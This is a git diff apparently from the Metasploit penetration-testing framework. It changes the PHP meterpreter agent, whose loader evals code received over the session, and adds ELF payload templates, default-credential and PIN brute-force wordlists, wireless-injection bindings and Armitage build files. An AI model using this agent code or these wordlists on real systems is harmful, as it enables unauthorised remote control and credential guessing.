if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self");
return ERROR_FAILURE;
}
}
#if (!function_exists('stdapi_sys_config_rev2self')) {
#register_command('stdapi_sys_config_rev2self');
#function stdapi_sys_config_rev2self($req, &$pkt) {
# my_print("doing rev2self");
# return ERROR_FAILURE;
#}
#}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
register_command('stdapi_sys_config_sysinfo');
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
@@ -526,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
$GLOBALS['processes'] = array();
if (!function_exists('stdapi_sys_process_execute')) {
register_command('stdapi_sys_process_execute');
function stdapi_sys_process_execute($req, &$pkt) {
global $channel_process_map, $processes;
@@ -600,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
if (!function_exists('stdapi_sys_process_close')) {
register_command('stdapi_sys_process_close');
function stdapi_sys_process_close($req, &$pkt) {
global $processes;
my_print("doing process_close");
@@ -653,6 +726,7 @@ function close_process($proc) {
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
register_command('stdapi_sys_process_get_processes');
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
@@ -702,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_process_getpid')) {
register_command('stdapi_sys_process_getpid');
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
@@ -710,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
}
if (!function_exists('stdapi_sys_process_kill')) {
register_command('stdapi_sys_process_kill');
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
@@ -740,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
register_command('stdapi_net_socket_tcp_shutdown');
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
my_print("doing stdapi_net_socket_tcp_shutdown");
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
@@ -780,6 +857,9 @@ function deregister_registry_key($id) {
if (!function_exists('stdapi_registry_create_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_create_key');
}
function stdapi_registry_create_key($req, &$pkt) {
my_print("doing stdapi_registry_create_key");
if (is_windows() and is_callable('reg_open_key')) {
@@ -813,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_close_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_close_key');
}
function stdapi_registry_close_key($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -831,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_query_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_query_value');
}
function stdapi_registry_query_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -868,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
}
if (!function_exists('stdapi_registry_set_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_set_value');
}
function stdapi_registry_set_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
Binary file not shown.
Executable → Regular
BIN
View File
Binary file not shown.
+21 -3
View File
@@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
$GLOBALS['readers'] = array();
}
# global list of extension commands
if (!isset($GLOBALS['commands'])) {
$GLOBALS['commands'] = array("core_loadlib");
}
function register_command($c) {
global $commands;
if (! in_array($c, $commands)) {
array_push($commands, $c);
}
}
function my_print($str) {
#error_log($str);
}
@@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
# isn't compressed before eval'ing it
# TODO: check for zlib support and decompress if possible
function core_loadlib($req, &$pkt) {
global $commands;
my_print("doing core_loadlib");
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
} else {
eval($data_tlv['value']);
return ERROR_SUCCESS;
}
$tmp = $commands;
eval($data_tlv['value']);
$new = array_diff($commands, $tmp);
foreach ($new as $meth) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
}
return ERROR_SUCCESS;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
+388
View File
@@ -0,0 +1,388 @@
# EXTENSIONS => CONTENT TYPE
csh: application/x-csh
x_t: model/vnd.parasolid.transmit.text
kpt: application/vnd.kde.kpresenter
vst: application/vnd.visio
ksp: application/vnd.kde.kspread
fsc: application/vnd.fsc.weblaunch
vcs: text/x-vcalendar
hvs: application/vnd.yamaha.hv-script
seml: application/vnd.sealed.eml
lzh: application/octet-stream
movie: video/x-sgi-movie
wav: audio/x-wav
tbz2: application/x-gtar
plt: application/vnd.hp-HPGL
3gpp: video/3gpp
eol: audio/vnd.digital-winds
vsw: application/vnd.visio
rtf: text/rtf
rgb: image/x-rgb
midi: audio/x-midi
sit: application/x-stuffit
mov: video/quicktime
kfo: application/vnd.kde.kformula
rdf: application/rdf+xml
wpd: application/vnd.wordperfect
hbc: application/vnd.hbci
ogg: application/ogg
dwf: x-drawing/dwf
pbm: image/x-portable-bitmap
cpp: text/plain
smp3: audio/vnd.sealedmedia.softseal.mpeg
html: text/html
igs: model/iges
dwg: image/vnd.dwg
see: application/vnd.seemail
ram: audio/x-pn-realaudio
jad: text/vnd.sun.j2me.app-descriptor
iges: model/iges
pot: application/powerpoint
exe: application/octet-stream
siv: application/sieve
wml: text/vnd.wap.wml
hlp: text/plain
pkd: application/vnd.hbci
ice: x-conference/x-cooltalk
ustar: application/x-ustar
vis: application/vnd.visionary
pkipath: application/pkix-pkipath
ecelp4800: audio/vnd.nuera.ecelp4800
tgz: application/x-gtar
roff: text/troff
ltx: application/x-latex
nim: video/vnd.nokia.interleaved-multimedia
qcp: audio/QCELP
ai: application/postscript
sppt: application/vnd.sealed.ppt
igx: application/vnd.micrografx.igx
tcl: application/x-tcl
viv: video/vnd.vivo
css: text/css
wpl: application/vnd.ms-wpl
ami: application/vnd.amiga.ami
l16: audio/L16
vivo: video/vnd.vivo
dat: text/plain
vrml: x-world/x-vrml
pqa: application/vnd.palm
request: application/vnd.nervana
oprc: application/vnd.palm
vbk: audio/vnd.nortel.vbk
pki: application/pkixcmp
ras: image/x-cmu-raster
asc: text/plain
kom: application/vnd.hbci
jpeg: image/jpeg
sem: application/vnd.sealed.eml
chrt: application/vnd.kde.kchart
tif: image/tiff
cil: application/vnd.ms-artgalry
xwd: image/x-xwindowdump
dgn: image/x-vnd.dgn
mxu: video/vnd.mpegurl
csv: text/comma-separated-values
kon: application/vnd.kde.kontour
png: image/png
bkm: application/vnd.nervana
sxl: application/vnd.sealed.xls
xfdf: application/vnd.adobe.xfdf
snd: audio/basic
dl: video/dl
sxls: application/vnd.sealed.xls
karbon: application/vnd.kde.karbon
ico: image/vnd.microsoft.icon
sus: application/vnd.sus-calendar
pdb: x-chemical/x-pdb
wif: application/watcherinfo+xml
ser: application/x-java-serialized-object
xmt_txt: model/vnd.parasolid.transmit.text
upa: application/vnd.hbci
pnm: image/x-portable-anymap
jar: application/x-java-archive
qt: video/quicktime
tsv: text/tab-separated-values
rtx: text/richtext
mdi: image/vnd.ms-modi
rcprofile: application/vnd.ipunplugged.rcprofile
gl: video/gl
me: application/x-troff-me
man: application/x-troff-man
tr: text/troff
amr: audio/AMR
wp5: application/wordperfect5.1
pdf: application/pdf
pgb: image/vnd.globalgraphics.pgb
au: audio/basic
avi: video/x-msvideo
qxb: application/vnd.Quark.QuarkXPress
wp: application/wordperfect5.1
wmlsc: application/vnd.wap.wmlscriptc
wbxml: application/vnd.wap.wbxml
s1a: application/vnd.sealedmedia.softseal.pdf
saf: application/vnd.yamaha.smaf-audio
gtar: application/x-gtar
Z: application/x-compressed
crl: application/pkix-crl
pti: application/vnd.pvi.ptid1
rdz: application/vnd.data-vision.rdz
aif: audio/x-aiff
flo: application/vnd.micrografx.flo
qxd: application/vnd.Quark.QuarkXPress
rpm: audio/x-pn-realaudio-plugin
djv: image/vnd.djvu
jpe: image/jpeg
kne: application/vnd.Kinar
lvp: audio/vnd.lucent.voice
stml: application/vnd.sealedmedia.softseal.html
p7c: application/pkcs7-mime
dms: application/octet-stream
s1e: application/vnd.sealed.xls
sdf: application/vnd.Kinar
sc: application/vnd.ibm.secure-container
jnlp: application/x-java-jnlp-file
dvi: application/x-dvi
smov: video/vnd.sealedmedia.softseal.mov
jisp: application/vnd.jisp
aifc: audio/x-aiff
latex: application/x-latex
cc: text/plain
s1g: image/vnd.sealedmedia.softseal.gif
wv: application/vnd.wv.csp+wbxml
mseq: application/vnd.mseq
jpg: image/jpeg
mmf: application/vnd.smaf
xmt_bin: model/vnd.parasolid.transmit.binary
s1h: application/vnd.sealedmedia.softseal.html
mpc: application/vnd.mophun.certificate
hdf: application/x-hdf
stk: application/hyperstudio
txd: application/vnd.genomatix.tuxedo
ent: application/vnd.nervana
xml: text/xml
aiff: audio/x-aiff
sh: application/x-sh
mpe: video/mpeg
s1j: image/vnd.sealedmedia.softseal.jpg
psid: audio/prs.sid
mpga: audio/mpeg
pgm: image/x-portable-graymap
si: text/vnd.wap.si
stm: application/vnd.sealedmedia.softseal.html
lbd: application/vnd.llamagraphics.life-balance.desktop
flw: application/vnd.kde.kivio
mpg: video/mpeg
c: text/plain
sgi: image/vnd.sealedmedia.softseal.gif
zip: application/zip
ecelp7470: audio/vnd.nuera.ecelp7470
lbe: application/vnd.llamagraphics.life-balance.exchange+xml
qxl: application/vnd.Quark.QuarkXPress
p10: application/pkcs10
bpd: application/vnd.hbci
ief: image/ief
gz: application/x-gzip
doc: application/word
efif: application/vnd.picsel
jpm: image/jpm
hpgl: application/vnd.hp-HPGL
s1m: audio/vnd.sealedmedia.softseal.mpeg
xhtml: application/xhtml+xml
xpm: image/x-xpixmap
ms: application/x-troff-ms
bcpio: application/x-bcpio
sl: text/vnd.wap.sl
wrl: x-world/x-vrml
s1n: image/vnd.sealed.png
irm: application/vnd.ibm.rights-management
pgp: application/octet-stream
entity: application/vnd.nervana
mcd: application/vnd.mcd
ecelp9600: audio/vnd.nuera.ecelp9600
kwd: application/vnd.kde.kword
gif: image/gif
sdo: application/vnd.sealed.doc
cer: application/pkix-cert
m4u: video/vnd.mpegurl
rst: text/prs.fallenstein.rst
htm: text/html
mxmf: audio/vnd.nokia.mobile-xmf
psb: application/vnd.3gpp.pic-bw-small
knp: application/vnd.Kinar
cab: application/vnd.ms-cab-compressed
mj2: video/MJ2
sgm: text/sgml
wbmp: image/vnd.wap.wbmp
p7m: application/pkcs7-mime
spng: image/vnd.sealed.png
lha: application/octet-stream
s1p: application/vnd.sealed.ppt
texi: application/x-texinfo
s1q: video/vnd.sealedmedia.softseal.mov
troff: text/troff
h: text/plain
shtml: text/html
msh: model/mesh
irp: application/vnd.irepository.package+xml
rct: application/prs.nprend
smht: application/vnd.sealed.mht
s11: video/vnd.sealed.mpeg1
htke: application/vnd.kenameaapp
ps: application/postscript
mpm: application/vnd.blueice.multipass
dfac: application/vnd.dreamfactory
pvb: application/vnd.3gpp.pic-bw-var
lrm: application/vnd.ms-lrm
smh: application/vnd.sealed.mht
mpn: application/vnd.mophun.application
spd: application/vnd.sealedmedia.softseal.pdf
tiff: image/tiff
jp2: image/jp2
rpss: application/vnd.nokia.radio-presets
qxt: application/vnd.Quark.QuarkXPress
wmlc: application/vnd.wap.wmlc
rpst: application/vnd.nokia.radio-preset
etx: text/x-setext
bmp: image/bmp
s14: video/vnd.sealed.mpeg4
\"123\": application/vnd.lotus-1-2-3
mpp: application/vnd.ms-project
spf: application/vnd.yamaha.smaf-phrase
kar: audio/x-midi
mid: audio/x-midi
3gp: video/3gpp
3g2: video/3gpp2
hqx: application/mac-binhex40
p7s: application/pkcs7-signature
ppm: image/x-portable-pixmap
pspimage: image/x-paintshoppro
cdf: application/netcdf
texinfo: application/x-texinfo
sjp: image/vnd.sealedmedia.softseal.jpg
wbs: application/vnd.criticaltools.wbs+xml
emm: application/vnd.ibm.electronic-media
s1w: application/vnd.sealed.doc
ra: audio/x-realaudio
jpx: image/jpx
evc: audio/EVRC
mif: application/x-mif
qwd: application/vnd.Quark.QuarkXPress
mp2: video/mpeg
spdf: application/vnd.sealedmedia.softseal.pdf
tbz: application/x-gtar
txt: text/plain
x_b: model/vnd.parasolid.transmit.binary
mp3: audio/mpeg
class: application/x-java-vm
smo: video/vnd.sealedmedia.softseal.mov
mp4: video/vnd.objectvideo
m4v: video/x-m4v
htx: text/html
hbci: application/vnd.hbci
tex: application/x-tex
vsc: application/vnd.vidsoft.vidconference
wqd: application/vnd.wqd
mfm: application/vnd.mfmp
sgml: text/sgml
smp: audio/vnd.sealedmedia.softseal.mpeg
curl: application/vnd.curl
cw: application/prs.cww
djvu: image/vnd.djvu
tga: image/targa
vsd: application/vnd.visio
t: text/troff
wtb: application/vnd.webturbo
spn: image/vnd.sealed.png
plb: application/vnd.3gpp.pic-bw-large
pps: application/powerpoint
yaml: text/x-yaml
psp: image/x-paintshoppro
mjp2: video/MJ2
sms: application/vnd.3gpp.sms
hvd: application/vnd.yamaha.hv-dic
acutc: application/vnd.acucorp
ppt: application/powerpoint
les: application/vnd.hhe.lesson-player
vcf: text/x-vcard
sjpg: image/vnd.sealedmedia.softseal.jpg
kwt: application/vnd.kde.kword
sic: application/vnd.wap.sic
spp: application/vnd.sealed.ppt
cmc: application/vnd.cosmocaller
dot: application/word
sv4cpio: application/x-sv4cpio
cpio: application/x-cpio
sswf: video/vnd.sealed.swf
silo: model/mesh
sid: audio/prs.sid
yml: text/x-yaml
smv: audio/SMV
eps: application/postscript
ptid: application/vnd.pvi.ptid1
wks: application/vnd.lotus-1-2-3
z: application/x-compressed
hpp: text/plain
htmlx: text/html
ani: application/octet-stream
sig: application/pgp-signature
slc: application/vnd.wap.slc
rm: audio/x-pn-realaudio
smpg: video/vnd.sealed.mpeg4
wmls: text/vnd.wap.wmlscript
bin: application/x-mac
mesh: model/mesh
atc: application/vnd.acucorp
pfr: application/font-tdpfr
plj: audio/vnd.everad.plj
rnd: application/prs.nprend
xls: application/excel
tar: application/x-tar
mp3g: video/mpeg
sgif: image/vnd.sealedmedia.softseal.gif
oda: application/oda
sdoc: application/vnd.sealed.doc
kia: application/vnd.kidspiration
prc: application/vnd.palm
req: application/vnd.nervana
xyz: x-chemical/x-xyz
soc: application/sgml-open-catalog
xlt: application/excel
awb: audio/AMR-WB
susp: application/vnd.sus-calendar
xbm: image/x-xbm
ccc: text/vnd.net2phone.commcenter.command
hh: text/plain
qwt: application/vnd.Quark.QuarkXPress
shar: application/x-shar
ssw: video/vnd.sealed.swf
xul: application/vnd.mozilla.xul+xml
kcm: application/vnd.nervana
kpr: application/vnd.kde.kpresenter
cdy: application/vnd.cinderella
nc: application/netcdf
src: application/x-wais-source
sv4crc: application/x-sv4crc
dtd: text/xml
hvp: application/vnd.yamaha.hv-voice
cww: application/prs.cww
vss: application/vnd.visio
rb: application/x-ruby
log: text/plain
swf: application/x-shockwave-flash
flv: video/x-flv
asf: video/x-ms-asf
asx: video/x-ms-asf
wma: audio/x-ms-wma
wax: audio/x-ms-wax
wmv: audio/x-ms-wmv
wvx: video/x-ms-wvx
wm: video/x-ms-wm
wmx: video/x-ms-wmx
wmz: application/x-ms-wmz
wmd: application/x-ms-wmd
m3u: audio/x-mpequrl
rdp: application/rdp
pcap: application/vnd.tcpdump.pcap
torrent: application/x-bittorrent
xlb: application/excel
cue: application/x-cue
@@ -4,7 +4,7 @@ class MigrateCredData < ActiveRecord::Migration
begin # Wrap the whole thing in a giant rescue.
skipped_notes = []
new_creds = []
Msf::DBManager::Note.find(:all).each do |note|
Mdm::Note.find(:all).each do |note|
next unless note.ntype[/^auth\.(.*)/]
service_name = $1
if !service_name
@@ -46,7 +46,7 @@ class MigrateCredData < ActiveRecord::Migration
if candidate_services.size == 1
svc_id = candidate_services.first.id
elsif candidate_services.empty?
Msf::DBManager::Service.new do |svc|
Mdm::Service.new do |svc|
svc.host_id = note.host.id
svc.port = default_port
svc.proto = 'tcp'
@@ -115,7 +115,7 @@ class MigrateCredData < ActiveRecord::Migration
say "Migrating #{new_creds.size} credentials."
new_creds.uniq.each do |note|
Msf::DBManager::Cred.new do |cred|
Mdm::Cred.new do |cred|
cred.service_id = note[0]
cred.user = note[2]
cred.pass = note[3]
@@ -126,7 +126,7 @@ class MigrateCredData < ActiveRecord::Migration
say "Migrating #{skipped_notes.size} notes."
skipped_notes.uniq.each do |note|
Msf::DBManager::Note.new do |new_note|
Mdm::Note.new do |new_note|
new_note.host_id = note.host_id
new_note.ntype = "migrated_auth"
new_note.data = note.data.merge(:migrated_auth_type => note.ntype)
@@ -135,7 +135,7 @@ class MigrateCredData < ActiveRecord::Migration
end
say "Deleting migrated auth notes."
Msf::DBManager::Note.find(:all).each do |note|
Mdm::Note.find(:all).each do |note|
next unless note.ntype[/^auth\.(.*)/]
note.delete
end
@@ -3,7 +3,7 @@ class RequireAdminFlag < ActiveRecord::Migration
# Make the admin flag required.
def self.up
# update any existing records
Msf::DBManager::User.update_all({:admin => true}, {:admin => nil})
Mdm::User.update_all({:admin => true}, {:admin => nil})
change_column :users, :admin, :boolean, :null => false, :default => true
end
@@ -1,13 +1,13 @@
class InetColumns < ActiveRecord::Migration
def self.up
change_column :hosts, :address, 'INET using address::INET'
remove_column :hosts, :address6
end
def self.up
change_column :hosts, :address, 'INET using address::INET'
remove_column :hosts, :address6
end
def self.down
change_column :hosts, :address, :text
add_column :hosts, :address6, :text
end
def self.down
change_column :hosts, :address, :text
add_column :hosts, :address6, :text
end
end
@@ -0,0 +1,9 @@
class RenameWorkspaceMembers < ActiveRecord::Migration
def up
rename_table :project_members, :workspace_members
end
def down
rename_table :workspace_members, :project_members
end
end
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 9 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 6 ; e_ident
db 1, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,66 @@
1111
1234
2222
3333
4444
5555
6666
7777
8888
9999
0000
4321
3477
5897
12345
12341
123456
1234567
12345678
12341234
44444
11111
111111
1111111
11111111
22222222
33333333
44444444
55555555
66666666
77777777
88888888
99999999
00000000
0000000
000000
00000
000
00
0
09090
7772000
666666
24343
111
123
12
11
1
2
3
4
5
6
7
8
9
0
aa
dvr2580222
abc123
pass
password
admin
administrator
root
@@ -0,0 +1,2 @@
admin
user
@@ -3,3 +3,4 @@ manager
role1
root
tomcat
s3cret
@@ -4,3 +4,4 @@ cxsdk kdsxc
root owaspbwa
ADMIN ADMIN
xampp xampp
tomcat s3cret
+12
View File
@@ -0,0 +1,12 @@
source 'http://rubygems.org'
gem 'rails', '3.2.2'
gem 'authlogic'
gem 'prototype_legacy_helper', '0.0.0', :git => 'git://github.com/jvennix-r7/prototype_legacy_helper.git'
gem 'state_machine', '1.1.2'
gem 'liquid', '2.3.0'
gem 'ice_cube'
gem 'acts_as_list'
gem 'mime-types', '1.18', :git => "git://github.com/rapid7/mime-types.git"
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
gem 'robots', '0.10.1'
+14 -5
View File
@@ -127,11 +127,11 @@ static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
if (argc == 2) {
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
intf = STR2CSTR(rbintf);
driver = STR2CSTR(rbdriver);
intf = StringValuePtr(rbintf);
driver = StringValuePtr(rbdriver);
} else {
rb_scan_args(argc, argv, "1", &rbintf);
intf = STR2CSTR(rbintf);
intf = StringValuePtr(rbintf);
}
if (driver == NULL) {
@@ -151,7 +151,9 @@ static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
rld->context = lorcon_create(intf, dri);
lorcon_set_timeout(rld->context, 100);
// Obsolete: XXX
// lorcon_set_timeout(rld->context, 100);
if (rld->context == NULL) {
rb_raise(rb_eRuntimeError,
@@ -348,10 +350,11 @@ static VALUE Lorcon_packet_get_data(VALUE self) {
static VALUE Lorcon_packet_getdot3(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
u_char *pdata;
int len;
VALUE ret;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
@@ -506,6 +509,11 @@ static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
}
static VALUE Lorcon_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_get_channel(rld->context));
}
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
job->pkt = (unsigned char *)pkt;
@@ -631,6 +639,7 @@ void Init_Lorcon2() {
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
+6 -2
View File
@@ -1,12 +1,16 @@
#!/usr/bin/env ruby
require 'mkmf'
if ( RUBY_VERSION =~ /^1\.9/ )
$CFLAGS += " -I/usr/include/lorcon2"
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
$CFLAGS += " -DRUBY_19"
end
if (have_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") or find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h"))
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
create_makefile("Lorcon2")
else
puts "Error: the lorcon2 library was not found, please see the README"
end
+42
View File
@@ -0,0 +1,42 @@
<project name="armitage" default="all" basedir=".">
<property name="project.src" location="src/" />
<property name="project.build" location="bin/" />
<target name="all" depends="init, compile, jar" />
<target name="init">
<tstamp />
<mkdir dir="${project.build}" />
</target>
<target name="compile" depends="init" description="compile the source " >
<javac srcdir="${project.src}/"
destdir="${project.build}"
nowarn="yes"
depend="yes"
debug="true"
optimize="yes"
includeantruntime="fuckno"
>
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
</javac>
</target>
<target name="jar" depends="compile">
<unzip src="lib/sleep.jar" dest="bin" />
<unzip src="lib/jgraphx.jar" dest="bin" />
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
<manifest>
<attribute name="Main-Class" value="armitage.ArmitageMain" />
</manifest>
</jar>
</target>
<target name="clean" description="clean up" >
<delete dir="${project.build}"/>
</target>
</project>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+90
View File
@@ -0,0 +1,90 @@
=============================================================================
Armitage - Cyber Attack Management for Metasploit
=============================================================================
*** http://www.fastandeasyhacking.com ***
1. What is Armitage?
-----------------
Armitage is a graphical cyber attack management tool for Metasploit that
visualizes your targets, recommends exploits, and exposes the advanced
capabilities of the framework.
Advanced users will find Armitage valuable for managing remote Metasploit
instances and collaboration. Armitage's red team collaboration features allow
your team to use the same sessions, share data, and communicate through one
Metasploit instance.
Armitage aims to make Metasploit usable for security practitioners who
understand hacking but don't use Metasploit every day. If you want to learn
Metasploit and grow into the advanced features, Armitage can help you.
2. Documentation
-------------
The documentation for Armitage is located on the Armitage website at:
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
information on connecting Armitage to Metasploit and using it.
3. Install and Update
----------
To get started, see the manual at http://www.fastandeasyhacking.com
4. Source Code
-----------
This projected is hosted on Google Code at:
http://code.google.com/p/armitage/
5. Disclaimer
----------
Use this code for your development and don't hack systems that you don't
have permission to hack. The existence of this software does not reflect the
opinions or beliefs of my current employers, past employers, future
employers, or any small animals I come into contact with. Enjoy this
software with my blessing. I hope it helps you learn and become a better
security professional.
6. Contact
-------
Report bugs in the issue tracker at:
http://code.google.com/p/armitage/issues/list
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
sure you peruse the FAQ and Manual first.
7. License
-------
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
See section 8 for more information.
lib/jgraphx.jar is used here within the terms of the BSD license offered by
JGraphX Ltd. http://www.jgraphx.com/
-
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
BSD licensed libraries.
-
Some code in src/msf/* comes from msfgui by scriptjunkie.
-
This project uses the LGPL Sleep scripting language with no modifications.
Sleep's source is available at: http://sleep.dashnine.org/
8. The BSD License
---------------
Redistribution and use in source and binary forms are permitted provided
that the above copyright notice and this paragraph are duplicated in all
such forms and that any documentation, advertising materials, and other
materials related to such distribution and use acknowledge that the
software was developed by the copyright holders. The name of the copyright
holders may not be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+23
View File
@@ -0,0 +1,23 @@
<html>
<body>
<center><h1>Armitage 1.44-dev</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 17 May 12</p>
<br />
<p>Developed by:</p>
<ul>
<li>Raphael Mudge (raffi)</li>
</ul>
<p>External code:</p>
<ul>
<li>MSF RPC code by scriptjunkie (BSD license)</li>
<li>JGraph by JGraph Ltd. (BSD license)</li>
</ul>
<p><small>Metasploit&reg; is a registered trademark of Rapid7</small></p>
</body>
</html>
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

+58
View File
@@ -0,0 +1,58 @@
#Armitage Configuration
#Fri Oct 15 18:08:08 EDT 2010
graph.font.font=Monospaced-BOLD-14
console.clear_screen.shortcut=ctrl pressed K
graph.zoom_out.shortcut=ctrl pressed MINUS
graph.save_screenshot.shortcut=ctrl pressed P
console.font_size_reset.shortcut=ctrl pressed 0
console.page_down.shortcut=pressed PAGE_DOWN
graph.arrange_icons_circle.shortcut=ctrl pressed C
graph.selection.color=\#00ff00
graph.zoom_in.shortcut=ctrl pressed EQUALS
console.find.shortcut=ctrl pressed F
console.history_previous.shortcut=pressed UP
console.history_next.shortcut=pressed DOWN
console.page_up.shortcut=pressed PAGE_UP
console.highlight.color=\#0000cc
console.font_size_plus.shortcut=ctrl pressed EQUALS
console.font_size_minus.shortcut=ctrl pressed MINUS
console.foreground.color=\#cccccc
console.background.color=\#000000
console.font.font=Monospaced-BOLD-14
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
graph.foreground.color=\#cccccc
graph.background.color=\#111111
graph.zoom_reset.shortcut=ctrl pressed 0
console.clear_buffer.shortcut=pressed ESCAPE
graph.edge.color=\#3c6318
